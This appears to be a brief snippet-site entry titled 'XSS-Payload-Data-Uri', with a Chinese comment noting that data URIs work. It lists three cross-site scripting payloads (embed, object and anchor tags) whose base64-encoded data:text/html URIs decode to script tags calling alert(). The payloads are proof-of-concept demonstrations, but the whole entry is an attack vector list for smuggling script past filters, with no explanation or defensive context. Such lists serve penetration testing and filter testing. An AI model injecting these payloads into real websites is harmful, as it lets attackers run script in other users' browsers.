XSS-Payload-Data-Uri

by zicai

HTML

<!-- 可以使用 data uri  -->

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZW1iZWQtc3JjJyk8L3NjcmlwdD4=" type="">

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnb2JqZWN0LWRhdGEnKTwvc2NyaXB0Pg==" type=""></object>

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYS1ocmVmJyk8L3NjcmlwdD4=">click me</a>